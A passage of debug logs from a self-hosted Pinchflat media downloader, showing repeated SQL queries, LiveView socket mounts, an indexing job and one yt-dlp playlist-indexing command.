IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:35.009 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.010 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.010 [debug] QUERY OK source="media_items" db=0.0ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:35.010 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.011 [debug] QUERY OK source="sources" db=0.1ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.011 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 22:19:35.011 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.012 [info] Sent 200 in 6ms 22:19:35.127 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "NiVJXFsNXRE8ImcIEAdAYzY_RF44H2YT_Hzk2E4PWDSXrJq5fUp-kk1P", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:35.148 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 3} 22:19:35.149 [debug] QUERY OK source="sources" db=0.3ms idle=138.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.149 [debug] QUERY OK source="media_items" db=0.2ms idle=138.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:35.150 [debug] QUERY OK source="media_items" db=0.3ms idle=138.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.150 [debug] Replied in 1ms 22:19:35.150 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 3} 22:19:35.150 [debug] QUERY OK source="sources" db=0.1ms idle=139.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.151 [debug] QUERY OK source="media_items" db=0.0ms idle=139.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:35.151 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.151 [debug] Replied in 717µs 22:19:35.152 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 3} 22:19:35.152 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.152 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 22:19:35.153 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 22:19:35.153 [debug] Replied in 944µs 22:19:35.529 [info] {"args":{"force":true,"id":3},"id":179,"meta":{},"system_time":1784859575528988011,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:19:35.529 [debug] QUERY OK source="sources" db=0.1ms idle=376.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:35.529 [debug] QUERY OK source="settings" db=0.1ms idle=376.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.530 [debug] QUERY OK source="media_items" db=0.3ms idle=376.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 22:19:35.530 [debug] QUERY OK source="media_items" db=0.2ms idle=146.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 22:19:35.530 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:35.531 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.531 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:19:35.531 [debug] Current batch of media processed. Will check again in 1000ms 22:19:35.531 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.532 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.532 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:35.532 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PLepOFDG46IAw --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Breakcore/Breakcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5a/e5/5ae5ceba6a482e07761864f0953be338ba6d1117da628e7509dd0eb2f4729d3c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:36.533 [debug] Current batch of media processed. Will check again in 1000ms 22:19:36.585 [info] GET /sources 22:19:36.585 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:36.586 [debug] QUERY OK source="settings" db=0.2ms idle=1054.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:36.586 [debug] QUERY OK source="settings" db=0.1ms idle=1054.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:36.586 [debug] QUERY OK source="settings" db=0.0ms idle=1054.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:36.586 [debug] QUERY OK source="settings" db=0.0ms idle=1054.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:36.587 [debug] QUERY OK source="settings" db=0.0ms idle=201.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:36.587 [debug] QUERY OK source="sources" db=0.4ms idle=1.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:36.588 [debug] QUERY OK source="sources" db=0.8ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:36.590 [info] Sent 200 in 4ms 22:19:36.682 [info] CONNECTED TO Phoenix.LiveView.Socket in 44µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "BiVadSYSXDQbEGM1G3oEJDE4XzAbLSM7oHiBOZ5upvWey75raRkCHYtx", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:36.689 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:19:36.691 [debug] QUERY OK source="sources" db=1.4ms idle=102.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT 